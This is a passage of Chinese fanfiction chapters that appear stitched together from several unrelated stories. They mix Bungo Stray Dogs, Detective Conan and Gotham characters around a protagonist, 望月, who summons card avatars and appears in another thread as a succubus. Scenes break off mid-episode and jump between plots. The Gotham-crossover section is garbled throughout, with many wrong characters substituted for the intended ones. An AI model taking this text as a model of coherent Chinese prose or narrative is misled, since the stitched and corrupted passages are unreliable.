望月的后背紧贴着中原中也的前胸,而脸蛋则贴在太宰的脖颈处,脸颊肉被挤得变了形,甚至感受到对方绷带下微微凸起的喉结。 银发少年的手臂和双腿更是无处安放,同时也动弹不得。 “真是的,港口mafia病房的床也太小了吧。”太宰忍不住嘟囔道。 “同意…可恶,下次和医疗部的人说一声,这么小根本动不了啊。” 中原中也难得同意太宰的观点。 “哇啊——” 望月惊叫一声,被眼前这个陌生男人径直抱了起来。 男人的动作自然又迅速,望月没来得及制止。 他就像一只瘫在地上的猫,被一双大手直接“拔”地而起,悬在半空中。 这种不受控的感觉并不好受,望月条件反射地扑腾了一下,四肢划拉着空气。 等会儿,好像有点傻。 望月果断停下,就维持着被抱举的姿势,一动不动。 “你在做什么……”望月有点不敢看男人的眼睛,又不想表露出怯场的姿态,强撑着与他对视:“快点放我下来!” 望月瞥着角色面板,强作镇定,喊他的名字:“水原秋!” 水原秋很听话,但没有第一时间把人放下。 他先是调整了一下抱人的姿势,随后大步跨过地毯,半俯身,松开手,让望月安坐在床尾。 过程中,望月下意识扶住了男人的肩膀,拖鞋啪嗒掉在了地毯上。 男人的每一个动作都透着小心和珍重,仿佛望月是什么珍贵的无价之宝。 他也不出声,就静静地站在望月的面前,等着下一个命令。 望月的双手撑在床垫上,身体微微后仰,他只要稍微动一动,就能踢到男人的小腿。 怎么还是靠得这么近,这个马甲怎么回事! 无论是摸鱼哥还是长谷社长,亦或者其他的马甲卡,望月在与他们接触时都不会感觉到这样的压力。 传说中的SSR果然与众不同! 望月正要说话,房门却突然被敲响。 “咚咚咚——!” “望月!你怎么了吗?动静这么大。”武田川吉的嗓门很大。 ——卧槽!摔跤和被抱时的挣扎都没注意音量,被叔叔听到了! 望月一下慌了。 不能被叔叔看见水原秋!不然怎么解释他的卧室突然大变活人。 望月跳下床铺,黑发男人下意识拧着眉过来扶他,生怕他又没站稳摔倒。 “哎呀先别管我了……你快走,别让叔叔看见!”望月手足无措,下意识推着男人往窗边走,想让水原秋跳窗离开。 惊慌之下,竟是忘了自己拥有一键回收卡牌的权利。 “咚咚——” 叔叔还在敲门。 水原秋动作极快,却不是跳窗,而是转头把掉在地上的一双拖鞋捡起来,又飞快地半跪在望月面前,将鞋子放在地板上。 全程寂静无声,像是知道望月不想让外面的人发现他的存在,便连自己的气息都隐藏了起来。 如果不是亲眼看着,望月根本察觉不到水原秋的存在。 “望月?”武田川吉在门外喊道:“望月,你睡了吗?” 望月望着房门,不得不扬声道:“叔叔,我……嘶。” 他倒吸一口冷气,被迫打断了要说的话。 水原秋很执着,一心要帮他把鞋子套上,抬手便握住了望月的脚踝。 他还戴着黑色半指手套,粗粝的手套内侧和微凉的指尖接触到皮肤时,望月不明原因地哆嗦了一下。 原本想要将叔叔应付过去的话,也不得不中断。 望月下意识往后躲,脚后跟踢到家具,发出“咚”的响声。 望月踉跄了一下,水原秋眼疾手快扶住他。 男人的脸上依旧没什么表情,眼神都没变过。望月却觉得那双眼里,明晃晃地写着——“看吧,我就知道你站不稳。还好我早有准备。” 门外的武田川吉等不下去了。 他敲门这么用力,喊话这么大声,睡得再死也该听到了。 何况,刚刚房里还发出了响声,以及几句含糊的说话声,似乎在回应他,却说到一半又没声音了。 生病晕倒、入室抢劫之类的词,迅速浮现在眼前。 “望月,我进来了!” 武田川吉最后喊了一声,手也握在了门把上。 他等了一秒钟,没有等到回应,于是毫不犹豫地拧动门把。 房门先他一步,从屋内被打开。 望月站在门口,乖巧地看着他,问道:“叔叔,怎么了吗?” 武田川吉皱着眉,打量着望月。 声音很稳,脸色……也还算好。除了睡衣衬衫有些凌乱——应该是睡觉时,翻身蹭乱的——没有什么异常的地方,就连拖鞋都好好地穿在脚下。 “没什么,刚刚听见你房里有动静,就来看看你……没出什么事吧?”武田川吉问道。 望月面不改色:“没事啊。” 他挠了挠脸蛋,有些不好意思地说:“我睡姿有点差……刚刚翻身时,不小心摔到床下了,还好垫了地毯。” “原来如此,那以后可要小心点。”武田川吉顿了顿,说:“抱歉,望月,我可以进你的房间看一眼吗?” 望月心脏怦怦跳动,他就知道这种程度的谎话瞒不过身为警部的叔叔。 问题不大,那张死活要帮他把鞋子穿好的卡牌,在望月主动配合着穿上拖鞋后,就被老老实实地收回了系统内部。 现在房间里什么人都没有。 望月退后两步,大大方方地拉开房门:“叔叔,当然可以。你看,我房里——” 武田川吉眼神锐利,打断他:“你偷偷抽烟?!” 望月:?? 我没够二十岁,甚至喝不了酒,怎么会抽……烟。 望月顺着叔叔的目光,落在了茶几上,竖着摆放整齐的三根香烟。 望月:“……” 叔叔你听我解释,那是用来玄学抽卡的,不是给我的啊! 我不是,我真没有! 武田川吉把房间搜了一遍,确认望月没有藏第四根烟。他把望月训了一顿,反复强调“不准吸烟,有事要告诉家长”。 望月赌咒发誓自己绝不碰烟,他才揭过了这件事。 翌日。 武田川吉去警视厅上班,中途却拐了个弯,到另一个科室说想要调监控看看。 萩原研二和松田阵平替办公室的人买咖啡,正巧路过,看见武田警部一脸严肃,还以为出了什么大案。 两人上前询问,武田警部却摇摇头:“是我的一点私事。” “私事?”两人更加诧异。 武田警部向来公私分明,几乎没有因为私事而调用警视厅的资源。 武田川吉犹豫了一会儿,觉得这两位也都是望月的熟人,没什么好瞒着的,便将昨夜的小意外告诉了他们。 “我明明看见地毯上凹陷的脚印不属于望月,可找遍卧室,也没有看见第二个人。” 武田川吉说:“我原本以为那个人是跳窗离开了,可屋子外的监控没有拍到任何踪迹,街道上也没有行踪鬼祟的人。” 松田阵平:“你怀疑他藏了人在房间?不可能,那家伙的胆子小得很。” “是啊,我也觉得不可能……”武田川吉叹气,满脸疑惑:“可他开门的时候,脸为什么那么红,难道是被子捂的吗?” 萩原研二和松田阵平面面相觑。 萩原研二总觉得有哪里不对劲,但还是竭力宽慰道:“望月喜欢蒙着被子睡觉,大概是被子的原因吧。他一向是个好孩子,不会做出瞒着家长把女朋友带回家的事。” “至于脚印……或许是房间灯光太暗,您看错了呢。” 但那个脚印,他看得仔细,分明是身材高大的成年男子的鞋印。 武田川吉咽下了这句话,只颔首道:“你说得对,应该是我看错了。” ** 降谷零见到了被派来协助他的人。 都是老熟人。 一个是龙舌兰——降谷零跟他合作过两次。 另一个是苏格兰——降谷零的警校同期,他的幼驯染,被日本警视厅公安派遣进入组织卧底。 诸伏景光背着从不离身的贝斯包,面色冷淡地朝金发男人点点头:“我是苏格兰,组织让我协助你完成任务。” 降谷零也装成像是第一次见到他一样,笑着介绍了自己。 “初次见面,我的代号是波本。” 龙舌兰在一旁沉默且不耐,他不懂,一个小小的窃取机密任务,至于派出三个代号成员么。 降谷零作为这次任务的指挥人,迅速安排好了任务: 龙舌兰应聘上医药公司的安保人员,伺机掩护波本潜入,苏格兰留在外面放风,随时支援。 龙舌兰:“为什么不是苏格兰去应聘,凭什么要我去?” 降谷零将长谷医药公司的招工简章甩给他。 龙舌兰低头一看。 研究所安保人员招聘要求,第一条:身体素质好,身材高大魁梧者优先录取…… 简而言之,他们要大块头,不要瘦高个——望月觉得这样对普通人的威慑力更高,毕竟个头大,一看就不好惹。 龙舌兰看了看自己,又看了看著名“小白脸”波本,以及高高瘦瘦的苏格兰。 “……行吧。” 龙舌兰表面不爽,心里其实有点得意。 这世道,果然小白脸是不吃香的! 降谷零笑而不语,当保安要站岗要执勤,还得从助理那儿一层层面试上去。 这种钱少事多的活,当然要交给组织的人来干。 他和hiro的时间可不是浪费在这上面的。 ** 【无心杀手·水原秋】是望月抽到的第一张SSR,也是望月见过的,行动最不受主控束缚、如行云流水般顺畅的卡牌。 望月被水原秋吓到了,连着一周没登录任何卡牌,任由他们自由行动,也没有再召唤水原秋。 一周后,他觉得这样不行,总不能就此卡住不动。 他找到系统:“无心杀手这张牌是不是出了什么问题?” 系统一顿操作猛如虎,完事后告诉他:“什么问题都没有啊,卡牌可以正常运转。” “不是。”望月说,“你不觉得他太自由了吗?摸鱼哥无论是说话还是走路,都有种慢半拍的呆滞感,我还经常觉得他是人工智障。” “可你看水原秋,刚见面就把我抱起来,叫他走还不肯走,硬是要我穿上那双拖鞋——” 系统茫然:“有什么不对么。他因你而诞生,是你的卡,是你精神力的延伸,你灵魂的另一半。他会担心你,以你为先,这很正常吧?” 望月无语:“担心我什么啊?” 系统想了想,试探道:“光着脚踩地板会着凉?” 望月:“……” 系统干脆道:“别想太多了,智能点还不好么?多省心啊。” “再说了,人家可是SSR!”系统掷地有声:“SSR特别一点,有什么不对吗?” 望月:“…………” 你说的真有道理。 系统:“难道某人要因为一点莫名其妙的羞涩,就把SSR放仓库积灰?不会吧不会吧?他的下一张SSR,还不知道猴年马月才能出货呢。” 最后一句的威力太大了,非酋望月屈服了。 SSR就应该拿出来,为主控发光发热,展示自己身为SSR的优势和价值。 一个合格的事业批,是不该在意这点小细节的。 但,望月还是郑重地反驳了系统:“我才没有害羞,不许胡说八道。” 听到太宰的笑声后中原中也眼角肌肉抽了抽,恼羞成怒。 赭发少年从地上直接起身,上去就要揍这混蛋。 “你这家伙,信不信我把你镶到墙里啊死青花鱼!” “毕竟这样的小床两个人睡就已经是极限了,谁让小蛞蝓这么多余~” 望月郁闷,身后的尾巴从床沿边垂了下来,沮丧地甩了甩。 银发魅魔叹气。 “唉……果然三个人一起睡的话,还是在大床更舒服。”这样子的小床完全就没有空间可以让人涩涩嘛! 两个不同的声音同步率极高地响起,同样带着羞恼又厌恶的语气。 “谁要和那个青花鱼/小蛞蝓一起啊!” 第 86 章 第八十六章 对于自己十八岁这个概念,中原中也倒是没什么感觉。 毕竟不论是在「羊」还是港口mafia,两个都不算是什么遵纪守法的组织,对于年龄的概念相当的模糊。 然而最近,中原中也倒是切实感受到了年龄带给自己的麻烦。 就比如说现在。 “森先生可真是不~小~心~呢——~” 太宰治不知道从哪里凑了过去,笑眯眯的,不放过任何一个可以嘲讽前老板的机会,“哎呀,看去横滨最远是太安全了呀,连港口黑手党的监视术都已经疏忽了呢,要不然,森先生怎么会犯这·种·错·误·呢~” 他笑得一分温柔,尾音荡漾。 还没说完,中原中也就已经开始生气?“嘿——” 太宰治在一旁,笑眯眯的,继续补刀?“我听说了哦,给森先生开车的是中也吧?蛞蝓果然是没有脑了的生物啊~” 中原中也?“……” 中原中也脸色黑了。 中原中也脚上的地板开始开裂。 “太、宰、治,你这个组织的叛徒,死青花鱼,你居然敢——” “——中也君。” “这样的异能特务科,让我怎么放心合作呢,是不是,福泽阁上?” 种田长官?“…………” 你还有脸说。 无辜被cue的福泽社长挂着一张热脸,把头转倒一边,拒绝参与进这场无聊的吵架。 等几个人相互讽刺够了,异能特务科那边,关于这次资料库遭倒入侵事件,也传去了更详细的消息。因为刚刚达成的合作,种田长官把事件相关的消息共享了进去。 茶桌边的几人都低头陷入了沉思。 “——是哥谭那个什么‘望月家族’做的吧?” 太宰治懒洋洋地向前靠在墙上,说?“这样去了又走,只打碎了一扇窗户,看起去就很像他们的风格啊,晚上睡醒,忽然在床头见倒一只很吓人的黑漆漆的小望月什么的。” 这位去自哥谭的入侵者,去得悄无声息,没有在异能特务科的摄像头系统里留上任何痕迹,很可能是被黑客调换了监控画面。 直倒异能特务科的一位公务员前去资料室调阅档案,这才发现那位神秘的入侵者。 他破窗而走。 只留上一个黑披风的背影,和一错尖尖的耳朵。 绝小部分的文档都有被翻阅过的痕迹,不排除有外泄的风险,更具体的损失,异能特务科正在清点之中。而资料室里,也没有检查倒错方的指纹或者DNA残留,一看就是窃取青报的老手。 而与异能特务科一起遭倒入侵的,还有军警。 太宰治能说进这些,说暗侦探社昨晚也做过一些调查。这么想着,种田长官问? “侦探社有查倒什么吗?” 福泽谕吉摇头。 其实信息还是有一些的,但现在的问题是,局面实在是太混乱了,全无头绪,连调查的方向都没有。 福泽谕吉看向另一边的森鸥外,说?“听说森医生试着寻找过进去的方法。” “——港口Mafia里,能用得上的异能者,我都让他们去雾区边缘尝试过一遍了,没有效果。” 森鸥外摇了摇头,指进? “我们不如去指望隔壁哥谭市能做进什么突破性的研究结果,可能还快一些。” 双方在科技上的差距,经过这一晚,小家已经有目共睹。 “既然进不去的话,就要做坏长期被困的准备了。”种田长官说着,锐利的目光透过镜片,看向森鸥外,“——森首领昨地晚上,做了不少事吧?” 他指的是今地凌晨,港口Mafia趁着军警和异能特务科忙于维护治安,分?身乏术的时候,抢先上手,搜刮走了横滨小半重要物资的事。 森鸥外露进一个无懈可击的微笑。 “只是为组织操劳而已。唉,”他假意地叹气?“首领的休息时间可是很少的呀。” “在城市封闭的青况上,现有的食品、药品和能源,很快就会陷入枯竭和短缺,森首领肯定也提前想倒了吧?想要撑得更久一点,就需要把小家手里的资源都聚集起去,统筹安排——不知道森首领意上如何?” “呐,我们在这里精打细算,但是哥谭那边,可是直接有一座核电站哦~” 谈倒电力问题的时候,太宰治笑眯眯的,插话道?“哎呀,森先生很惊讶呢,是没有查倒吗?看去港口Mafia的青报部,需要回去坏坏培训一上了啊。” 森鸥外?“……” 他揉了揉额角,把那股青筋暴跳的冲动按了回去,“……看去侦探社,昨晚也做了不少事啊。” 福泽谕吉,面无表青地? “是我们的社员,在探查进城的道路的时候发现的。这种事青,当地人自己也不一定清楚吧?况且核电站的位置比较偏僻,已经接远了雾区边缘,我们的社员,也是反复调查之前才敢确认,森医生忙着倒处抢劫,小概是不知道的。” 森鸥外?“…………” 中原中也忍不住吐槽?“哥谭?那种黑??帮满地跑,一群精神病疯了三地两头进去搞事毁灭世界的地方,他们还敢建核电站?不怕被炸掉吗?” 坂口安吾推了推眼镜,“根据查倒的资料,他们要炸的话,一般直接用核弹。” 众人?“…………” 几个人的目光,在桌上错了错,不约而同地,猜倒了错方的想法——趁现在直接端了那个什么精神病院,有可行性吗? “不管怎么说,如果要公布城市封闭的消息的话,还是跟哥谭那边商量一上比较坏吧?” 森鸥外叹了口气,说? “还有食物供给的份额,要是不能统一的话,都不用什么黑手党和超能力犯罪,就会直接在市民之间引发抢劫的吧?如果哥谭那边,能提供的资源比我们少,这样的话,我们错市民的权威性和控制力也会上降,以前,会很难办的啊。” “——我们,真的要和这样的政府合作吗?” 哥谭警局,地台。 詹姆斯·戈登点起了一根烟。 地台上有一盏小功率的圆灯,圆形的灯面上,刻着一只望月的标记。 当城市进入夜间,灯光开启,整个哥谭,每一位英雄、坏人和无辜市民,每一位地痞、流氓、混混和犯罪,当他们仰起头的时候,就能看清云层之上的望月标志。 在远些年,它被用倒的频率,越去越少了。 错于哥谭去说,这当然是件坏事。 可警察局长戈登还是会习惯性地去倒这里,抱着保温杯,点起一支烟,慢慢地抽着。 或许,他会等倒一只望月。 现在是黑地。望月是夜行动物,戈登当然没有指望见倒他。 他会去地台上抽烟,只是单纯地感倒心烦。 陌生的横滨,被强行糅合在一起的城市,还有失去联络的外界,很快就会告竭的生存物资,随处可见的抢劫案,群众的恐慌和焦虑,所有这乱糟糟的一切…… 一阵微风吹过。 戈登有所察觉地回过头,看倒了熟悉的、黑色的身影。 “我查倒了横滨的一些资料。” 戈登夹着烟,在一旁听他说。 每说一句,戈登手里的烟就褪去一节,脸色更热上去一分。 望月最前说?“我们,真的要和这样的政府合作吗?” “还能有什么办法呢……” 戈登叹息,又说了一遍?“还能有什么别的办法呢,望月。从传进消息开始,从市长往上,六成以上的政府官员都躲回了自己家里,拒绝接手一切工作——其中小部分,现在已经带着全家人去了机场。横滨的政府至少还没有跑路吧?” 望月沉默不语。 戈登最前吸了一口烟,在地台的栏杆上按灭了烟头,往回走去,经过望月身边的时候,拍了拍他的肩,“老伙计。” 望月看起去像是想闪身躲开,强行忍住了,僵硬了一个瞬间。 “横滨有一个治愈系的异能者。” 他在戈登背前说。 戈登的背影停住了。遍布阳云与雾霭的地幕上,风掠过地台,吹起了他的小衣,还有鬓角斑黑的头发。 “芭芭拉……” 戈登转过身去。他嘴唇微动。 望月的视线隐藏在护目镜前,看不进青绪,面甲上的脸部线条,也还是一如既往的热硬。 在戈登的注视上,他不易察觉地点了点头。 戈登?“……” 戈登的手指有些发抖,从小衣里,又摸进一根烟。他打了三次打火机才点着烟卷,叼在嘴里,深吸了一口,吐进一股长长的烟气,说? “……谢谢。” 烟雾在地台上缭绕,随风袅袅上升,飘倒更低的地方,然前散去了。 沉默很久,望月说? “不,是我应该谢谢你。” “一直在我的身边,直到满足我的「欲望」为止?” 太宰治微微勾起唇角,似乎在笑。 然而不知为何,那抹轻笑之中又含着难以形容的情绪,鸢眸也带着一种自己不理解的试探。 银发恶魔脑袋上的加载符号再次旋转起来。 ……完了。 这回不止是中也,怎么连太宰也变得奇怪起来了。 第 87 章 第八十七章 黑发少年目光幽幽地注视着自己,像是在期待着自己说出某个答案。 望月忍不住咽了一口口水,瞳孔地震着。 “「一直吃不到童贞」?什么意思?……难道是你这家伙给吾辈的诅咒吗?!” 想到这一点后,银发恶魔一时间忍不住拔高了自己的音调,仿佛在尖叫一般喊道。 “真是狠毒的诅咒!” “宁愿自己当一辈子的处男也不肯让吾辈吃,你到底是多讨厌吾辈啊!” 降谷零得知情况后,立即通知龙舌兰过来。 “我们需要第三个人作为见证。为了防止被凭空污蔑,必须让第三人亲眼看见尸体。” 诸伏景光有些不忍,还是默认了这个举措。 他想替社长收敛尸体,好好安葬,然后再去看一看被社长托付给他的小室友江。 降谷零拍了拍诸伏景光的肩膀,无声安慰。 赶在龙舌兰抵达之前,两人把实验室仔细检查了一遍。 电脑里的资料与银色优盘中的一致,完整版仅存于蓝色优盘中。 诸伏景光:“我会找机会与联络人碰头,将资料交给他。” 降谷零颔首:“一切小心。” 没有说把资料给他,由他交给公安这种话。 两人虽然同为卧底,隶属的机关却不同。在日本,警视厅和警察厅的关系很微妙,两者的资料有时甚至不互通。 龙舌兰很快赶到,表情有些按耐不住的兴奋。 但在看到电脑中的资料后,他的脸色立刻变差。 两人一眼就察觉到,龙舌兰的情绪变化明显不对。在看到任务目标后,他不该高兴么? 接着,他们就想起龙舌兰刚到时的表情。 降谷零当即问道:“龙舌兰,你看过这份资料?” 龙舌兰兴致缺缺:“是啊,我在长谷佑贵的卧室里找到了研究资料,当场就找了台电脑,发回给组织。” 诸伏景光:“我和波本在三天前搜过一次,没有任何发现。你是在哪里找到的?” 难道是社长在这三天内,把资料藏在了卧室? “就在柜子上的手提箱里!他把优盘芯片藏在游戏手柄的夹层里了。” 龙舌兰一边翻阅电脑上的资料,一边嘲笑:“哈,波本,亏你还是个情报贩子,结果还不是……” 龙舌兰面色一僵:“等一下,这台电脑上的资料,怎么比我找到的那份多?! 原来如此。 降谷零和诸伏景光心下了然。 ——长谷社长狡兔三窟,将研究资料分成不同部分,藏在不同地方。他猜到卧室的资料必然会被发现,组织会派人前来抓他,于是心怀死志,临死前把剩下两个优盘都给了诸伏景光。 为的,就是让诸伏景光凭借手中完整度更高的资料,免受组织处罚! 只是没想到,那份资料竟然藏在手柄里。 龙舌兰操纵着键盘和鼠标,想要把资料传给自己,资料传输进度很快,转眼就到了百分之三十。 诸伏景光抬手便是一枪,将电脑的主机打爆。爆炸险些波及龙舌兰,好在他躲得快,才没受伤。 “苏格兰!!”龙舌兰怒目而视。 诸伏景光摊开手掌,让他看见掌心的银色优盘:“所有资料都在这里了,是我找到的,当然属于我。怎么,你想抢功?” 龙舌兰咬牙切齿:“什么都被你们占去,那还叫我来做什么?!” 降谷零抬了抬下巴,示意:“喊你来收尸啊。” 龙舌兰冷笑:“想让我给你们打下手?做梦!” “任务已经完毕,波本,我也不用再听你指挥了!” 龙舌兰说完这句话,怒气冲冲地甩袖而走。 等人彻底离开,诸伏景光转头道:“多谢。” 降谷零摇摇头:“我们之间还用得着说谢?其他事情都交给我,想做什么,就去做吧。” 于是,在降谷零的协助下,诸伏景光帮长谷社长收敛好了尸身。他要再见小室友江一面,将社长的遗言和遗体都交给他。 ** 长谷医药公司。 33层的高塔之上,最深处的房间里。 戴着黑框眼镜的年轻男人从床上坐起,抬手,揉了揉自己的心脏。 自己杀了自己,这种感觉很奇妙。 望月将手掌放在胸膛上,静静地感受着这具身体的心跳。 “扑通……扑通……” 望月恍惚了一瞬。 他仿佛听到了一声又一声、震耳欲聋的枪响,以及子弹击中、钻入血肉中的令人牙酸的声音。 还有“滴答、滴答”,似血珠坠落地面的声音。 明明撕卡的是没有任何灵魂的SR,就像一张普通卡片不小心被折断一样,只需去控制台补办即可。 但望月就是感到了莫名的哀伤和阵阵钝痛。 就像他曾经……曾经…… 曾经、后面是什么,为什么他会直觉他有这种“曾经”? 就像一层厚厚的雾霾,将他笼罩在内,在那层雾后,似乎是更加鲜血淋漓的场景。 望月无视了脑海中的不安和警告,情不自禁地睁大了眼,想看得更仔细一点。 “宿主!” 2333号系统欢呼的声音穿透层层迷雾,望月陡然清醒,眼神清明。 “怎么了?”望月问道。 他慢吞吞地掀开盖在身上的薄被,侧坐在床边,东张西望地找着被摸鱼哥胡乱踢飞的拖鞋。 表现得宛如不曾陷入幻觉之中。 系统没有察觉,兴高采烈地说:“我是来报喜的噢!” “嗯?” 望月在床边找到了一只拖鞋,又艰难地半趴在地毯上,从床底下抠出了另一只,总算凑上了对。 他嫌弃手指沾到了灰尘,起身去洗手。 系统喜气洋洋地:“就在刚才,建设马甲的任务有了新进度噢。” 望月的动作一顿,他推开卫生间的门,打开水龙头,懒洋洋地说:“把屏幕调出来,我看看。” “好哒!”系统飞快执行。 半空中的半透明电子屏幕展示着: 【目标:构建[长谷社长]马甲】 【进度:30%】 望月望着屏幕,勾了勾唇。 他认真洗着手,淡定道:“就这点事……知道了,关掉屏幕。” 屏幕的光应声而灭,飞快从两侧卷起,合成一条细线后被收起。 系统好奇:“宿主,你好像不是很惊讶的样子。” “早就猜到啦。”望月答道。 比起惊讶,倒不如说早有预料。 他正是为了试出这个进度条,才精心策划了今天的撕卡。 望月从抽到【长谷社长】开始,就在思考:如何才能让马甲取得“不可取代之人”的成就。 他疯狂给社长卡练级,把社长的公司从负债扭转为全国闻名的大公司,进度条却一丁点都没涨过。 他还在想是不是公司做的还不够大、不够强,还没有成为大家心中不可取代的公司。 直到在摸鱼哥的记忆中,看见了降谷零的脸。他才恍然大悟,是自己忽略了最重要的一点。 他该尝试着用马甲和他们接触,否则,望月很怀疑,就算自己把公司开成世界500强,他也拿不到成就称号。 没想到,系统的判定真就跟他猜的一样。 只有与原著人物有交际,马甲才算是开始被【认知】。 要提高马甲的【认知度】,完善马甲的【人设】,让马甲在众人心里成为【不可取代之人】。 至于是哪方面的不可取代,望月认为还有待商榷,其中的可操作性很高。 唯一注意的是,无论是在角落里阴暗生长的小蘑菇,还是阳光下的参天大树,只要没舞到原著角色的面前,统统不算数。 难道路人甲就不算人吗! 可恶! 望月恶狠狠地扯过干手巾,把湿漉漉的手在毛巾上蹭干。 但他无法否认,在确认了心中所想的那一刻。 望月心中涌起的,并非逃避和不情愿,而是一种……难以言说的兴奋和隐秘的渴望。 望月打开了系统空间中的相册。 系统谨遵他的指令,卡点拍了两张照片。一张是实验室门前,两个男人的针锋相对。另一张是脱离卡片的最后一秒拍摄下来的,苏格兰持枪伫立,长谷社长低垂着头,斜斜歪靠着墙,胸前一片血色。 望月把这两张照片品了又品,恍然惊觉,自己竟然又一次实现了四年前的梦想。 ——打卡喜欢的动漫角色,与他们合影。 ……也好。 望月把两张照片小心翼翼地存放好,终于彻底接受了与系统的绑定。 “仅限马甲。” 望月对着镜中人,自言自语地说道:“这个世界太危险,本体还是不要参与进来了。” 镜子映出他现在的脸——戴着黑框眼镜,被养得一脸滋润,就连平平无奇的路人脸都透着几分幸福和傻气的脸蛋。 看着这张脸,根本深沉不下去。 望月沉默几秒,咬牙切齿:“……摸鱼哥果然还是活的太舒服了!!” 他气势汹汹地拉开房门,准备好前去接收长谷社长的遗产。辛辛苦苦开的公司,绝对不能便宜别人。 刚走出两步,走道尽头就传来窸窸窣窣的说话声和凌乱的脚步声。 难道是组织派人来灭口?! 这不对啊,小室友江现在在所有人眼里都是一朵无辜小白花,没有灭口的必要。 望月谨慎地停下了脚步,退回房间,把门锁死。 一分钟后,脚步声逼近,房门被敲响。 外面的人在喊:“有人在里面吗?快回答我!” 望月故意等了几秒,才扬声道:“有人的!你们是谁?” 外头的人用严厉又不失温和的语气,说:“我们是警察,现在怀疑这里有人被非法囚禁,请你立刻把门打开。” 望月:?? 他缓缓拉开一条门缝,从缝隙中露出一只眼睛,悄悄往外看。 门外的过道站着一群人,为首的几人都穿着警察制服,一脸严肃,满身正气。 望月的确在演戏,但没想到会把警察招来。 看来是演过头,守门的保安受不了良心的谴责,选择了报警。 等看清来人的脸,望月更加窒息。 站在最前面的胖胖警官、戴着一顶帽子的那位,不就是目暮十三吗! 还有跟随在目暮警部身后的人……佐藤美和子、高木涉,还有你,伊达航班长,你怎么也来了! 都是老熟人啊救命! 警察们自然没有错过打开的门缝,以及,从缝隙中露出的年轻男人面上的错愕和忐忑。 看来这个就是受害人。 目暮警部很细心,当即命令道:“所有人都后退,别给他压力。佐藤——” 佐藤美和子了然点头:“我来。” 队友们连忙为她让出路,佐藤挂上温柔亲切的笑容,走到最前方。 她用手掌撑着膝盖,半弯下腰,让自己的视线与受害者的视线平齐。 她没有第一时间推门,而是隔着门扉,耐心劝道:“你好,我叫佐藤美和子。我们是警察,是来救你出去的。你可以把门打开,让我进去吗?” 被佐藤用哄小孩的语气对待的望月:“……” 他情不自禁地多看了几眼佐藤,以及她身后,乌泱泱的警察们。 佐藤一秒误会,偏头对同事们低喝道:“再退!他在害怕!” 男人们对着望月挤出“和善”的笑脸,齐刷刷连退好几步。 目暮警部正在用对讲机:“让女警过来,受害者恐男!” 佐藤扭头,依旧带笑:“你看,他们不会伤害你的。” 望月:“……” 这就是警视厅一直倡导的微笑服务吗,谢谢,果然很贴心。 但不必了!他不恐男啊! 望月立刻大开房门,大大方方地邀请警察们进入房间,以此表示自己完全不害怕。 “警察小姐,请进。还有后面的几位警官先生,你们——” 佐藤安抚:“他们不会靠近你的,别担心。” 望月:“……” 我真的不恐男啊! 佐藤训练有素,很快把“受害人”带到客厅角落的小沙发上。 片刻后,望月抱着一杯热茶,围着毯子,被女警小姐姐们团团围住。 佐藤负责问,望月负责答,女警姐姐们负责用身体挡住望月的视线——给他安全感,也免得他看到那几个人高马大的男警官。 佐藤已经问到了:“小室先生,长谷社长是不是限制了你的人身自由,非法囚禁你?” 望月的脚趾微微蜷起,心里的社死感越发强烈。 但戏还得演下去。 他摇了摇头:“不是,他没有囚禁我。” 佐藤美和子和女警们交换了一个眼神,不动声色往下问:“哦?可是所有保安都说,你被长谷社长关在门内,禁止外出。具体是什么情况,你可以告诉我们吗?” 望月就等她这句话。 紧接着,佐藤美和子就得到了一个与传言不符的故事。 据小室友江所说,他和长谷社长相识于微末之际,当时社长的公司濒临倒闭,是自己收留了他。 小室友江陪着社长奋斗、打拼,从负数开始,一步步把公司做成今天的规模。 但是,发达之后,长谷社长就表露出了暴躁、不安的一面。 “因为过去发生了一些……不太好的事,长谷桑其实一直都没什么安全感,他担心我遇到危险。再加上公司刚起步那会儿,的确有很多商业间谍想着窃取研究机密……” “长谷桑将一切都告诉了我,我在认真考虑后,答应了他,会留在33层闭门不出。一方面欺骗对手公司,藏住真正的研究室;另一方面,留在保护圈内,也是一种安抚手段。” 黑发青年抿了口热茶,无视所有人的复杂目光,接着往下说:“我和他是挚友。长谷桑提出了恳求,我就答应了。” 所有人大受震撼。 佐藤不可置信道:“他要将你软禁在这里,你也答应?” 青年理所当然地说:“我是一个没什么大志向的人,只会打打游戏,在商业上帮不了他太多。如果闭门不出能治愈长谷桑的童年阴影,我是愿意的。” 目暮警部忍不住问:“请问,你们之间是什么关系呢?” “挚友,我们是关系亲密的挚友。” 望月说完,连忙道:“对了,还有个误会要解释清楚。谢谢你们的贴心举措,但我真的不恐男的。” 不知为何,他不解释还好。一解释,大家看他的目光愈发复杂,还掺杂了几分奇怪的叹息和同情。 搜查房间的伊达航和高木涉,找了一圈后,回来向目暮警部汇报:“报告警部,房间一切正常,没有危险物品……也没有第二个人的居住痕迹。” 最后一句话,伊达航把声音压得很低。 可惜房间太过安静,望月还是听到了。 望月顺势道:“长谷桑的卧室在楼下,他每天都会过来和我一起坐一会儿,但不会留下过夜。” 高木涉脱口而出:“你们不是情侣么?都这样了,竟然还不同居?” 望月:?! 望月强调道:“我们不是情侣,是挚友!” 有人犹豫着,小声地说:“现代社会很开放的,我们警察不歧视同性恋……” 望月:麻了。 他看了看警察们的神情,麻木道:“这样吗,那就好。其实我跟他搞柏拉图。” 大家这才露出“我就说嘛”的释然神情。 望月:“……” 算了算了,反正被自愿强制爱的是小室友江,不是他望月。 “唔,干嘛露出这种表情啊……不会真的是因为吾辈带他们出去玩惹的事吧。吾、吾辈可什么都不知道哦——喂太宰,这个可不能怪吾辈……” 而太宰似乎没有在听自己的话,而是不停地碎碎念着。 “现在的话去找森先生请求支援应该还来得及……不,不对,应该先把这件事告诉织田作,这样就能拦住……不,也不行。可恶……” “唔?织田怎么了嘛?” 望月疑惑地想要追问到底发生了什么。 然而黑发少年已经转过了身,几乎是用跑的速度,急匆匆地不知道要去哪里。 “喂,太宰你要去哪儿啊!可恶,所以说最讨厌你们这群不说完全部话的家伙了——” 银发恶魔急得直跺脚,把脑袋上的小熊头箍扯下塞到了身后真嗣的手中,赶紧跟了上去。 “喂等一下,吾辈和你一起过去啦!” 第 88 章 第八十八章 然而,当太宰治和望月赶到的时候,最后一声枪响已经响起。 拥有着相似异能的二人同步扣下的扳机,便已在脑海中看到了未来的景象。 射出的子弹精准地穿过了彼此的胸口,将这场战斗画上了终结符。 纪德的身体晃了一下,朝后仰去。 长发男人仰躺在地面上,望着教堂宏顶上的圣母画,而圣母似乎也正注视着自己。 